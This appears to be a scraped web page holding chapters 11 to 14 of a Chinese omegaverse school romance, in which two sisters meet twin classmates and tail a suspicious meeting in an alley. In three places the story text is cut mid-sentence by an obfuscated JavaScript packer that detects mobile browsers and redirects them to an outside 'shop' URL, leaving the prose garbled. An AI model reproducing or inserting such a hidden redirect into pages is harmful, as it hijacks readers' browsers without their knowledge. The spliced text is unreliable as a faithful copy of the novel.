d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971358|193454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愚蠢的时候,我的爱人离开我去当摇滚巨星。)”[1] 当一阵金属震动的清脆感充斥教室,许南星不紧不慢的开口了。 她的声音很独特,在琴弦的震颤下有种清冽又失真的感觉。 那些躁动的音符将她的声音高高托起,如浪潮般,朝台下涌去。 许清影视线停住了。 她很难将眼前这个激昂躁动的少女跟过去半个月乖巧又狡黠的妹妹的联系在一起,可冥冥中,她们又有着实打实的联系。 音浪起起伏伏,许南星的裙摆也在翻动。 她不是纤弱的,无力的,小麦的肌肤均匀的洒在她的腿上,漂亮的不是她的皮囊,是她藏在肌肉线条下悦动的灵魂。 “许南星的嗓音好特别啊。” “刚才她说话的时候我就想说,她的声音有点好听。” “她是不是还没有分化?” “姐妹,都这样了,分不分化有什么重要的,她就算分化成跟我一样的Omega,我也接受!” …… 不止许清影一个人注意到了许南星的光亮,她还没弹奏完,教室里的局面就在音浪的袭击下变了味。 终究还是未成年或者刚成年的孩子们,审时度势也没有那么坚定。 当许南星给他们带来的不再是陌生感,那份由她的才华转化成的吸引力就被无限放大,远超霍家为霍宝珠加持的压迫阴影。 更何况人家许南星是正儿八经的许家千金。 “许同学,要不要来跟我做同桌。” “南星,我这边正好有空位。” …… 一曲奏罢,讲台下如雨后春笋般冒出好多小手。 许南星抱着电吉他,有点愣神。 她有这么大的魅力吗? 她这个半吊子电吉他选手,都没有进行任何炫技表演。 “跟我做同桌,我有这三年的全科笔记可以给你!” “得了吧,就你那狗啃的字,来我这里吧,我这边看黑板比较清楚。” …… 眼看着有人为了争跟她做同桌,不惜互相拆台,许南星看想班里的目光逐渐深邃。 她穿过那一只只举起来的小手,一双双炽热的目光,不知道在找什么,眼神没个落点。 过了半晌,许南星转头看向吴钰:“老师,我可以自己选座位吗?” 班级刚刚剑拔弩张就快要失控的局面莫名变得可控起来,吴钰觉得自己的无为而治也不是那么糟糕,当即同意许南星的请求:“当然可以啊。” “谢谢老师。”许南星礼貌道谢,接着抱着电吉他和音响走下了讲台。 沿途是好多期待的目光,许南星注意到霍宝珠的脸色比过去村子的公厕还臭。 可这不还是她让她的小团体故意给自己难堪得到的结果,能怪得了谁? 许南星越走步伐越轻快,直到她走到许清影跟前。 走到那个自己演奏完就低下脑袋,开始专门解题的人跟前。 意识到许南星停下,许清影手里的笔也不自觉的停下了。 她抬头看去,就看到许南星那双刚刚曾经望过来的眼睛,近在咫尺。 日光穿过那双靛蓝色的瞳子,里面藏着笑意。 还有狡黠。 猝不及防,许清影看着许南星停下的步子又抬了起来。 她站在自己身边,又略过了自己身边。 许南星的声音从许清影背后传来,声音里的笑意跟刚刚许清影在她眼里看到的一样:“谢谢你的电吉他,很好用。” “小吉说它今天也很开心。”女生接过电吉他,酷酷的脸一本正经的说着玩笑话。 许南星不由得被这种反差逗到了:“你还给它起名字了。” “是啊,我的所有乐器都有名字。”女生回应。 全班的视线都落在这个角落,许南星的笑让人嗅到了尘埃落定的味道。 许清影的表情愈发深沉,盯着面前这道数学题,像是要用数十种方式把它活剖了。 直到谈笑声消失,黑漆漆的影子落在了她的手上。 余光里的过道被一颗小脑袋挡住,马尾自然而然的滑落下来。 “姐姐。” 许清影茫然抬头,漂亮的小素脸上表情怔怔的。 她像是意识到什么,却又不敢让这个想法它落地。 而杀了个回马枪的许南星笑得愈发灿烂,窗外的太阳晒得她眼睛亮亮的。 她会让她落地。 “让让啦,我要进去。” 11. 第十一章 被戏耍了。 许清影看着许南星那双狡黠的眼睛,瞬间就猜到了这人恶劣的想法。 可明明就是这样,许清影心里却升不起任何反感,眼睛里只剩诧异。 不知道是因为许南星突然折返。 还是发现自己刚刚竟然真的被许南星耍到,甚至产生了失落。 “吱呀。” 许清影耳边第二次响起椅子划过地板的声音,这次听起来悦耳了很多。 许清影知道,声音还是那个声音,是她的心情发生了变化。 “许清影,刚才你为什么没有举手啊?”许南星一边整理着自己的新书,一边看向许清影,眼里的不满很是明显。 站在讲台上,教室里的一切都在许南星的视线范围内。 除了许清影那只握着笔,不知道在什么的手。 许清影没想到许南星会这么直接的问自己这个问题。 关于人际交往,很多事情是不用点明就能表达的,不举手大概率是不想,沉默就是不愿回答。 只有笨蛋才会打破砂锅问到底。 只有笨蛋才会惹得人思绪万千,追究起自己没有举手的真正原因。 只是短短半个月的时间,许清影就见识到了比过去十几年还多的人情冷暖。 反正命运她也无法选择,不如被动接受。 许清影觉得她果真不是许佩宁的女儿,她完全没有遗传许佩宁和周安乐观普世的性格。 如果有一条她认准了的路在她面前,就算是天堑,她也会一条道走到黑。 可如果这条路被太多人觊觎、走过,就算她再想走,她都不会去碰。 她讨厌加入到纷纷扬扬的人群中,讨厌与人为伍。 “你是不是不想跟她们一样呀?” 许清影的沉默中,许南星突然出声。 太阳就停在许南星背后的窗户上,晒得她这双眼睛亮晶晶的,又像刀子一样锋利:“你其实不是不想跟我做同桌,对吧?” 许清影目光一怔,好像被什么东西被击中了。 “你不说话我就当你承认了,姐姐。”许南星笑眯眯的,好像捡到了什么天大的好事。 不过这对许南星来说,的确是天大的好事。 许清影不举手不是排斥她,只是不屑与人同流。 这样的话她以后就能安心刷分啦。 近水楼台,看她不把许清影的分刷爆,狠狠抱住女主这条大腿! 娜娜你这个没品的东西,这么好的位置不知道珍惜,等着后期被打脸吧! “下次。” 许南星偷偷在里放起小烟花,庆祝自己抱大腿计划的初步成功,许清影的声音蓦地从她的耳边传来。 “?”许南星一愣。 就听到许清影轻声跟她说:“下次我会举手。” 那个讨厌跟人走在一条路上的人,似乎这次选择跟人踏入了同一条河流。 咚咚,咚咚。 早晨的世界沾着些懵忪,叫许南星愣得更厉害了。 她莫名觉得许清影这句话耳熟,好像在过去什么时候听过,可明明她们不是才刚认识吗? 不知道哪里在疯狂的跳动,许南星给它定义为生命值刷刷在涨的声音。 “nock nock.” 拖长的音节在许南星身后响起,同时她感觉自己的后背被人敲了两下。 是借她电吉他的那个女生。 “怎么了吗?”许南星回头。 “我还没有自我介绍。”女生托腮,眼神有些幽怨。 许南星顿时反应过来,刚刚她只顾着杀许清影个措手不及,全然忘了询问这位好心人的姓名:“不好意思,我忘了问你了。” “没事儿,你待会帮我个小忙就行。”女生摆摆手,跟许南星也不见外,“李莱,上周新鲜出炉的Alpha。” 许南星则对仗工整的回应李莱:“许南星,至今还未出炉的未分化人员。” 李莱听到这个回应,眼睛都在发光,看许南星好像在看一块珍宝璞玉:“南星!你能get我!” “下了早自习我要去天台排练,你能不能帮我把吉他和音响拎上去,顺便也看看我们乐队的表演?”李莱期待的向许南星伸出橄榄枝。 许南星怎么会拒绝:“当然好!” 许清影在一旁看着自己这个对人毫无戒备的妹妹,深深的望了李莱一眼。 . 新学期的第一个早自习过的十分快,转眼就打铃了。 李莱迫不及待的从座位上起来,临走还不忘嘱咐许南星:“南星,我走了,小吉就拜托给你了!” “好嘞。” 许南星保证完成任务,先是小心翼翼的背起昂贵的吉他,接着就弯下腰要去拿音响。 这个音响不大,属于便携式的那种,提手也就许南星一只手那么宽。 就在许南星伸过手去的时候,另一只手从她身旁先一步握住了提手。 是许清影的手。 “我帮你。”许清影淡声,不知道什么时候站到了许南星身旁。 许南星有些意外,更是乐得许清影的帮助。 她跟许清影交集越多,她的得分空间越大,这个大腿就越抱得住。 “谢谢,姐姐。”许南星笑的很甜。 无论校园豪华与否,课间的走廊都是一样的吵嚷热闹,人流穿行不止。 许清影不会主动开口聊天,许南星也保持安静,偷偷的看着跟许清影并肩而行的影子,轻轻握了握那只刚刚去拿音响的手。 许清影的手背蹭在上面过一秒。 那独特的温凉感在欣喜冷静下来后迟滞的清晰起来,在这潮热的夏末格外令人留意。 “hello,南星。” 就在这时,李莱从楼梯上方走了下来,轻快的跟许南星打招呼。 许南星有些诧异,还是回了她:“hello,李莱。” 只是李莱没有留给她询问的空档,打完招呼就跑了下去。 许南星觉得有些奇怪。 她转头看了看许清影,就见这个人依旧面无表情的,好像对此并不奇怪。 难道是她大惊小怪了? 许南星想着,就跟许清影又上了一层。 于是诡异的画面跟着出现了。 李莱又一次从楼上跑了下来。 许南星愣了一下,不敢相信自己的眼睛。 只是这个人脚步好快,不等许南星确认,就跑下了楼。 许南星有些怀疑自己的眼睛,转头跟许清影确认:“我刚刚好像看到李莱了。” 许清影却是表情平静,好像并没注意到刚刚诡异的画面:“我没看到李莱。” 许南星眨眨眼,怀疑是自己刚到学校还处于脸盲状态。 教学楼的布置错综复杂,转了一圈,许南星跟许清影上到了五楼。 许南星还心有余悸,生怕李莱又出现在楼梯间,李莱就真的第三次出现在了她的眼前。 “hello,南星。”又是重复的打招呼。 许南星整个人都错乱了,盯着这个人,问她:“你刚刚不是下去了吗?” “没有啊,你看错了吧。”李莱一脸茫然的回她,好像并不知道许南星刚刚经历了什么。 “?”许南星瞳孔震颤。 “不跟你说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971359|193454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,我还有事,吉他就拜托你了!”李莱语速飞快,接着就跟刚刚一样,没有给许南星询问的时间,就又跑了下去。 【宿主,我怕。】目送李莱离开,小白身上的光都在抖。 “怎么了?”许南星滚了下喉咙。 【宿主,李莱的资料在小白眼前,一闪一闪的。】小白紧紧的贴在许南星肩上。 【宿主解锁了李莱这个人物,小白这里就有了她的资料。可我刚刚做三段视频对比的时候,她的资料会突然黑屏,又突然亮起!】 只叙述还不够,小白甚至还将真实情况在许南星眼前演示了一遍。 就见那资料随着楼道切片画面切换,在许南星脑海里一闪一闪。 照片上的李莱看似平直的嘴角微微扬起,许南星从没觉得她这么需要阳光照射。 “……撞鬼了?”许南星心中腹诽,捏紧了肩上的背带。 可粗糙的肩带无法带给人足够的安心,沉甸甸的吉他坠得人心沉。 这样的安慰远远不够,许南星望了望楼梯间外的太阳,也不管礼不礼貌,小心翼翼的勾上了许清影的手:“姐。” 有什么比主角光环还要正气十足的东西吗? 望着那根纤细的小指沿着自己的手背缠过来,许清影目光顿了一下,接着才用冷静的声音询问许南星:“怎么了?” “借我靠靠好不好。”许南星巴巴的望着许清影,这人明明比许清影高,此刻的目光却有种向上仰视的感觉。 两个人逆着光站,许清影的眼神愈发深邃。 这双漂亮的水银色眼睛里好像有笑意,又好像没有,就像她冷清的声音听不出情绪:“我就这么管用?” “嗯!”许南星头如捣蒜,在小白弄清楚一切前,她是绝对不会松开许清影的手的,“姐姐,你可能知道,你在我心里能驱散一切阴影的存在。” 主角光环连世界之外的剧情之手都要称臣,这个世界的妖魔鬼怪算什么! 许清影一愣,平静无波的脸上难得露出几分意外。 她轻轻动了动被许南星缠着一根小指的手背,看着这人的表情又变了:“那你可抓紧了。” “?”许南星状况外。 许清影笑笑,压低着声音,凑近了告诉她:“因为接下来的事情可能会很恐怖。” “!” 少女温吞的吐息落在许南星的耳廓,叫她整个人都有点僵。 逆光中,许南星看着许清影亦真亦假的眼神,几乎失去了判断的能力,听话的握紧了许清影的手。 没有分化的人也不存在味道,太阳晒下来都是干净的味道。 许清影很满意,也并不想把许南星这副样子共享给任何人。 “好了,你们快出来吧。”许清影开口,朝上层的楼梯口拆穿去。 许南星不明所以,看看许清影,又看看楼梯口,全然一副状况外的样子。 接着出乎她意料的事情发生了,楼梯口传来两道近乎相同的声音。 “切,真没意思,清影,你也太护着你妹妹了吧。” “我看到清影的时候就知道,今天我们的计划是不会成功了。” 两个李莱慢悠悠的从楼梯口走下来,脸上都是无奈和抱怨。 许南星狠狠地眨了两下自己的眼睛,还以为自己出幻觉了。 可这并不是幻觉。 【叮~】 许南星的脑袋里传来一声友人解锁的系统提示音。 李莱说:“我是李莱。” 另一个“李莱”说:“我是李苿。” “我们是同卵双胞胎。” 【也会是宿主未来几十年的好朋友。】 12. 第十二章 “总之事情就是这样,对不起呀,我和我姐也没想到会把你吓坏。” 风绕在天台上,荡来荡去,亦如李苿和李莱的声音左右在许南星耳边响起。 小白的声音缠绕在李苿和李莱的自我介绍中,好像故事外的人给在段落旁写下的批注。 消化了两秒,许南星指着左边那张相对平静的脸说:“你是李莱。” “对。”李莱点点头。 然后许南星就指着另一张看起来表情更加丰富一点的脸说:“你是李苿,也是Alpha。” “是的,我刚刚拉肚子,没上早自习。”李苿主动承认。 湛蓝的天空飞过几只度鸟,优哉游哉的叫声给这场相遇添上了几分不同的色彩。 发现自己的撞鬼经历只是双胞胎游戏,许南星整个人都放松了。 只是她的眼里还有没散去的幽怨,忍不住对许清影质问:“你是不是早就知道,你还骗我!” “你当时问我,有没有看到李莱。可你问的那个人是李苿,我当然只能回答没看到。”许清影神色淡淡。 许南星眨巴眨巴眼,没想到还是自己描述不准确的锅,于是不甘心地接着又问:“那你怎么还让我抓紧你?” “是谁先抓住我的?”许清影反问。 两只手牵上容易,放开也容易。 从牵手到放手不过半分钟,别的人拉着她走了,这手也是说松开就松开了。 许清影表情平静的盯着许南星,那跟曾经缠绕上她手背的小指同其他四指并拢,看不到任何留恋。 “你忘了你刚刚怎么跟我说的?” 这年的夏日异常的长,太阳停在干净的天空,光影剥离。 许清影的影子搭在许南星身后,颀长曼丽,说话间就凑到了许南星耳边。 天空近在眼前,许清影的吐息卷着热浪裹在许南星的耳廓,诡谲的蔓延到她的脖颈。 这不是许南星第一次发问—— 没有分化的人脖颈也会这么敏感吗? 不知道是自己理亏,还是什么别的原因,许南星的心脏跳的厉害。 刚刚她对许清影说她在自己心里能驱散一切阴影的存在。 所以许清影也就这么做了。 可事情不应该是这样的吧! 她大可以给自己直接揭示真相的啊,哪里需要让自己抓紧她。 自己在她心里胆子就这么小吗! 这个许清影是什么道理的改造机吗? 怎么自己的所有质问到这个人跟前,都成了胡搅蛮缠,所有不合理的事也都有了合理的解释。 许南星眼睛转转,看着身后的许清影,内心戏丰富的快溢出来。 殊不知一旁的李苿已然悄悄的在她和许清影之间探过了脑袋—— “我说,你们姐妹悄悄话时间说完了吗?” 相对于李莱那种偷偷观察的意味深长,李苿的眼神则更加直接,调侃的音调也明显。 温热的风吹起少女们的裙摆,热意却愈发明显。 许南星感觉自己快被李苿的眼神烤熟了,干脆画风一转,摊手伸向李莱:“说完了,我姐让你赔我精神损失费。” “哎呀,咱们朋友间就不提这个啦。”李苿说着顺势就拉上许南星的手,满眼星星,“星星呀,你要不要来我们乐队当主唱呀。” 似乎捕捉到了什么重要信息,许南星微微眯了下眼:“所以,你说的乐队是假的是吗?” “也没有啦。”李苿主动拿过许南星肩上的电吉他,“我是吉他手,阿莱是贝斯。” 许南星看看身旁这人,又看看对面那人,没想到自己刚刚在教室里的想法是真的,当即激动表示:“我就知道李莱是贝斯!” 李莱闻言顺势搂住了许南星的肩膀:“直觉不错,说明跟我们乐队有缘,以后你就是我们乐队的主唱了。” “嘶——”许南星倒吸一口气,推开了跟她“装熟”的李莱。 也不是不想加入乐队,许南星在村子的时候,就特别喜欢看各种乐队演出的视频。 不同的人不同的乐器搭配在一起,演奏出天籁之音,让她觉得特别享受。 只是她还保持着一丝傲娇,向李苿和李莱抛出了关键问题:“可是有主唱没有鼓手的乐队,这还算乐队吗?” “我只知道没有贝斯可以。”李莱抄手,熟练的玩起了贝斯笑话。 而当脑海里浮现出过往看过的乐队画面,许南星就转头看向了许清影。 就好像她想象中的乐队,也有许清影的一个位置。 可许清影这次给了她一个遗憾的回答:“抱歉,我只会弹琴,如果你们缺键盘手,我可以暂时顶上。” 失落好像一阵无声的风,略过许南星藏着期待的眼睛,撩过了她的裙摆。 而她有些分不清,她的失落是因为自己错失了一个跟主角刷好感的契机,还是许清影无法参与进她的梦想。 “许南星,你怎么什么事都要想着许清影啊?” 李莱的调侃声拉回了许南星的思绪,许南星神色一怔,反应奇快:“就允许你们姐妹一起组乐队,不能允许我跟我姐姐在一起啊。” 她可是要抱紧许清影的主角大腿的! 如果可以,她愿意一天24小时跟许清影深度捆绑。 “许南星,你简直给我们妹界丢人。” “承认吧李莱,你其实也很想跟你姐姐天天在一块吧!” 小学生斗嘴,幼稚的不像样子。 自从幼稚园毕业,许清影已经好久没听到过这么频繁的姐姐妹妹了。 这家伙究竟是怎么做到,能毫不羞耻的说出这样的话的? 许清影看向许南星,目光越发深邃。 而也是这时,作为另一个姐姐,李苿挤了过来,还把手机放到了三人面前。 “你们不要斗嘴了,清影可以作为我们乐队的代理人,鼓手我这里有一个人选。” 话音落下,李苿就点开了视频。 几声清脆的镲响,激昂的音乐毫无预兆的被鼓槌砸响,砸向每一个点开这个视频的观众。 许南星感觉自己的心脏都要跟着架子鼓的节奏跳了,血液在这个夏日格外沸腾。 “哇,好牛。”许南星由衷的夸赞。 “我们无敌了。”李莱附和。 只有许清影重点不一样:“这个人只露了半身,你知道她是谁?” “当然。”李苿立刻点头,激动的告诉三人,“这就是咱们的宋若宁!” “宋若宁?”李莱诧异,“我上次不小心踩到她,她给我说了三次对不起。姐,你是不是认错了。” “还不允许人家有反差了。”李苿不满的收走了自己的手机,宝贝的把视频捧在怀里,“这就是她,我可是她的老粉,从账号创立我就关注了!” “姐,咱家可不提倡阴暗批行为。”李莱吐槽,又暗戳戳的意有所指。 阴暗批许清影不以为然,略过李莱的吐槽,问李苿:“你邀请过她加入乐队?” 李苿没想到许清影会一击即中,当即低下了头:“她没同意。” “什么原因?”许清影问。 李苿无奈:“她说我们三个都五音不全……” 接着她看了眼许南星,眼里重燃希望:“但现在不一样了!” “我在宴会上看到南星,就觉得她一定行!”李苿将许南星视若珍宝,一把就她搂了过来。 “咳,咳。”许南星被挤的咳嗽了两声,挣扎着,难以置信,“原来你这么早就盯上我了?!” “哎呀,谁教你人见人爱呢~”李苿不好意思的笑了笑,毫不掩饰自己对许南星的喜爱。 只是隐隐中她觉得有道视线盯着自己。 夏风穿过天台的栏杆吹来,明明是消散不去的热意,此刻却变得令人手冷。 李苿打了个寒战,抬眼就对上了许清影的目光。 这人依旧是平日里那副冷淡样子,却叫李苿莫名心虚,下意识的放开了搂着许南星的手。 “……不说这个了,我最近觉得宋若宁有点奇怪。”李苿从善如流,丝滑的转移了话题,点开宋若宁的主页。 “姐,你跟她很熟吗?”刚刚还跟许南星斗嘴,说自己不是姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971360|193454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奴的李苿露出了对自己姐姐交了新朋友而自己不知道的震惊。 “你觉得呢?”李苿不开心,“我是这几天看她发的视频觉得很不对劲,这个人跟宋若宁联系十分频繁,而且你看——” 说着李苿就把手机举到了几个人面前,指着宋若宁回复过的某空白头像的留言说:“这个人今天要跟宋若宁见面,所以今天放学我想跟着她!我的Alpha直觉得告诉我,这个人不对劲。” “姐……” “我同意。” 李莱刚要劝说,许清影就对李苿点了下头。 两票对她一票。 李莱把希望放在了许南星身上。 可这个妹界叛徒,在她看过来的那一刻也站到许清影身旁举起了手:“我无条件跟票许清影。” 李莱大败,没办法只能跟许南星她们仨一同行动。 毕竟她和李苿从出生开始就做什么都在一起,早就成了习惯。 放学的铃声打响,校门口的豪车被堵的全然没有了平日里的神气。 许、李两家的车还没迎上来就被小主人摆手退回,四个人跟在宋若宁身后,盯着那个瘦瘦小小的背影,一路朝南走去。 直到走入一条人迹罕至的小巷子。 周围的高楼遮挡住了这条窄路的光亮,潮湿腐朽,很难想象在夏天的A市,还有这样的地方存在。 李苿深谙跟踪的基本原则,进了巷子就示意她们两对姐妹分开行动。 李苿和李莱躲在了离宋若宁更近一些的垃圾桶后面,许南星则拉着许清影躲在了配电箱的后面。 静悄悄的巷子,一点声音都听得清楚。 四人屏息凝神,等待宋若宁跟那个神秘白色头像见面。 可不知道什么回事,宋若宁坐在破旧的长椅上半天了,也没人来。 许南星看着不远处探出脑袋的李苿和李莱,莫名想起了什么事情。 “小白。” 【我在。】 小光球慢慢从冒出来,给昏暗的环境增添了一份安稳。 许南星勾了勾它,疑惑的问它:“我突然想起来,刚刚我解锁李苿和李莱的资料好像听到了提示音。什么叫未来的好朋友?这是什么特殊人物登场的音效吗?” 【小白也不知道哎。】小白后知后觉,【宿主解锁李苿的资料后,她们两个的资料上就出现了这么一个印记,系统扫描后,就显示出了这句话。】 小白说着,就把李苿和李莱的资料传递给了许南星。 许南星看着资料右上角的三瓣花标记,眸色渐深:“这是什么花,怎么感觉……像是谁特意给我挑选过的一样。” 【会是谁呢?】小白疑惑。 许南星看了她一眼:“这应该是我问你的吧。” 小白心虚的缩了下头,接着给许南星提供起了别的线索:【宿主,我刚刚翻开了原文,李苿和李莱在学校几次救许清影于水火,后来李家更是在许清影肃清集团时出了不少力呢。】 “那的确可以做长长久久的朋友。”许南星给予了最高评价。 可这就让她更不解了:“可这是谁给我标记的呢?谁会在乎我这么一个恶毒Alpha女配呢?” “……” 忽的,许南星就感觉自己的衣角上坠了什么东西。 借着小白发出的光,她看到许清影的手揪住了她的衣服。 不流通的空气挤在许南星的鼻腔,她又一次嗅到了许清影的味道。 那种冷调的干净根本不应该存在在这条潮湿晦暗的巷子,白皙的手指不同程度的紧绷,贴着许南星的衣角,像是揪住了她的救命稻草。 许南星很快就意识到什么,声音放的很轻:“你怕黑?” 许清影不回答。 沉默的时候,就连吐息都是紧绷的。 她只是有轻微的黑暗恐惧症,她觉得自己还可以扛。 小时候那次她也是靠自己爬出来的。 没有许南星,她也可以…… 可为什么那只刻着疤痕的手腕又一次握住了她紧绷的手。 “我带你走吧。” 13.第十三章 配电箱后面只有窄窄的一点空间,刻意压低的声音打在墙上又折返回来,像是有两道声音在许清影耳边响起。 在充斥着潮湿腐朽的空气里,许清影嗅到了铁锈的气味。 她望着昏暗里许南星的那双眼睛直晃神,似乎被什么东西击中。 她说她要带她走。 惊惧发作让人对时间的感知变得混乱,时钟好像被人手动拨转,回到了几年前。 顺着许南星眼睛和话语,缠绕在许清影脑海中的,还有孩提那更加稚嫩的音色。 “不走吗?” 可现实还是把许清影从记忆里拉了出来。 许南星握着许清影的手,本来都要走了,可不知怎么的,许清影丝毫没有要跟自己离开的意思。 许清影回过神来,刚刚放空失神的眼睛逐渐有了落点。 她长而密的睫毛被小白的光照亮,一下一下地刷在许南星的视线里,好像在思考什么。 最终,许清影给了许南星答案:“我不走。” “没事的,李苿和李莱会理解的。”许南星握了握许清影的手。 “我不想影响事情的进程。” 尽管已经对黑暗的巷子产生恐惧了,尽管记忆里的声音也说要带她走,可许清影就是不想。 她的眼睛里有这种近乎死板的偏执,压着她逃跑的步伐,让她看起来好像没什么事。 可偏偏许南星在她面前,偏偏她们离得这么近。 这份恐惧快被堆满,控制不住的从她的指尖细碎的泄露,随着她攥紧着许南星衣角的手,越来越紧。 颤抖。 紧绷。 巷子里太安静,许南星没办法跟许清影犟,如果打草惊蛇,许清影的忍耐就都白费了。 更何况许南星也明白,如果这件事发生在自己身上,她也不愿意草草离开。 从某种角度来看,她们是一样的。 顺着巷子的墙望去,窄窄的天上吊着一片孤独的云,跟潮湿的土地纠葛在一起。 许南星突然感觉好像回到了过去在村子里生活的日子,她轻轻俯身,在许清影的耳边唱起了童谣:“蓝蓝的天空,银河里,有只小白船……” 剥去吉他金属质感极强的电流声,许南星的音色更加清透。 许清影想也许可以许南星的声音评价为成色极好的羊脂玉,但比起玉石,她更喜欢用剥了壳的荔枝形容。 少女温热的吐息像这天夏日的风,每一寸都涂满了荔枝壳的红色。 它粗粝野蛮,毫无分寸的瘙挠着许清影的耳廓,点点清澈的香甜就从剥开的壳子里流露出来,带着种无法言说的清爽独特。 没有什么比在夏天吃一颗冰镇过得荔枝,更让人心旷神怡的了。 许清影听着许南星只唱给她听的歌谣,眼神又一次控制不住的失焦。 她顺着声音传来的方向看向许南星,朦胧微弱的光线照着小姑娘白净的脸,轮廓不偏不倚的能对上她记忆里的那个影子。 “飘呀,飘呀,飘到山那边。” 许清影失焦的眼睛猛地聚焦回来。 记忆里孩童稚嫩的声音合着许南星的最后一句唱响,即使改了歌词,也分毫不差。 不知道是不是注意到许清影的眼神,许南星很小的笑了两声,告诉她:“跟你之前听的版本都不一样吧。最后一句奶奶给改了,她说飘向西天不吉利。” “我那个时候也不明白呀,心想有什么吉利不吉利的,就要她解释给我听。她不解释,我就对着她唱。她气急了拿笤帚追着揍我,那我当然就边唱边跑喽。搞得满院子鸡飞狗跳的,可好玩了。” 许南星越说笑得越厉害,甚至都忘记了当时被揍得有多疼。 而许清影就这样面无表情的听着,目光越发深沉复杂。 昏暗的阴影里,原本被握住的手指拂过少女生长着疤痕的手腕。 许清影的手指越是柔软,就衬得许南星的肌肤越是粗糙。 她不去问许南星故事的结局。 许南星刚刚唱给她听的歌词,就写明了故事的结局。 大概顿了一两秒的时间,许清影问许南星,夹杂着不太明确的目的:“许南星,你还记不记得这首歌你还给谁唱过。” “啊?”许南星愣了一下,一时间没理解许南星为什么问这个问题。 可巷子没有给她思考的时间,这也并不是她今天来这里的主线任务。 接着李苿或者李莱的声音就从不远处传过来,愤怒值拉满的怒吼道:“混蛋!你别跑!” 说话间,许南星就看到一个瘦小的男人窜了出去。 远处原本坐在长椅上的宋若宁好像 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可随着她喉咙滚动,一阵难以预料的疼痛沿着她后方的脖颈传来。 痛。 好像有什么东西要扒着她的脖颈出来,骨骼都要裂开了。 许南星难以遏制的绷紧了肩膀,恍惚中许清影似乎从配电箱后走了出来,正在朝她走过来。 可不知怎么的她才想迈步往前走,就看到许清影把她接住了。 视线都开始变得失去判断力了,许南星却还想佯作无事。 所以接着许南星就感觉自己手臂被人攥住,她整个人都被许清影强制扣在手里。 “我自己可……” “你不可以。” 许南星还想勉强。 她习惯了。 可这次她逞强的权利被人剥夺了。 不知道从什么时候开始,许清影身上的味道可以让许南星用熟悉的香气代替形容。 那份干净的清香在潮湿的巷子里实在太明显,让人控制不住的产生想留恋的想法。 于是许南星一低头,就将脑袋靠在了许清影肩上,气若游丝。 “姐姐,我脖子后面好疼。” 14.第十四章 梦里是一片紫罗兰花海,风在其中荡漾,花朵连缀如海浪。 许南星的每一口呼吸都缀满了清香,叫她如第一次见到般惊艳,又因为莫名的熟悉感而感到安心。 许南星喜欢乡野,喜欢这样的地方,好想在这个地方躺下。 可就在她要躺下的时候,却感觉脖颈一紧。 不知道谁给她在脖子上戴上了项圈,一只细长白皙的手牵着链子,沿着她的下巴抚摸过来。 这感觉称不上抵触,但许南星就是感觉自己对这只手反应很大。 她像一只呲牙的猎犬,极力地想要摆脱那只手。 可她摆脱不掉,呲牙反而给对方制造了机会,让她的手指顺利抵进了她的口腔。 许南星感觉这个她似乎是分化了,Alpha的尖齿尖锐又敏感,手指触碰过来的感觉让她很不适应,一股诡异的热流随着滚动的喉咙,不断被迫吞咽进身体。 随着热气滚动,那手指越发肆无忌惮。 从她的尖齿,到舌尖,轻蔑的动作充满了控制欲,好像在逗|弄一只玩|物。 许南星口不能闭,终于明白“她”为什么会对这只手反应大了。 所以她下意识地就想要反击—— 但接着她看到自己的下颚被那只手熟练地卡住,嗤笑带着种熟悉的冷感从她耳边响起:“怎么还是学不乖啊。” “!” 眼前闪过一张模糊的脸,似乎是意识到什么,许南星猛地醒了。 现实里没有花香,只有医院挥之不去的消毒水味道。 许南星有些茫然,望着天花板过分干净的白色,很快就从她视线里挤进了许佩宁紧张的脸。 “小星,你醒了,有没有觉得哪里不舒服?” 哪里不舒服? 啊……想起来了,刚刚她去追混蛋Alpha男,不仅没追上,还因为脖颈传来的剧痛晕倒了。 “我这是怎么了?”许南星不解,她过去在村子里追鸡撵鸭,从来都没这样过。 “夫人,二小姐的检查报告出来了。”格外合时宜的,医生拿着检查报告进门了,“放心,没有什么大问题,身体机能都正常,就是有些营养不耐受。加上二小姐刚刚爆发式的运动,体内急速增加的分化激素被刺激到了。” 许佩宁听着,脸上无法控制地流露出难过与愤怒。 周安见状忙过去握住她的手,提醒她孩子们都还在。 医生眼观鼻,也跟着忙补充道:“夫人放心,二小姐身体状态很好,被这么刺激一下,分化指日可待。” “真的!”许南星眼睛一亮。 “所以二小姐最近要格外小心,有些事情我也要给家长叮嘱一下,请跟我来。”医生示意。 许佩宁忙不迭,拉着周安跟医生走。 病房转眼只剩下了许南星和许清影,监护仪器响得单调。 许清影目光晦涩,看着正为自己快要分化傻乐的许南星:“你过去在村里,都吃些什么?” 许南星不以为然:“就寻常饭啊,土豆白菜这种你菜地里都有种的东西。” 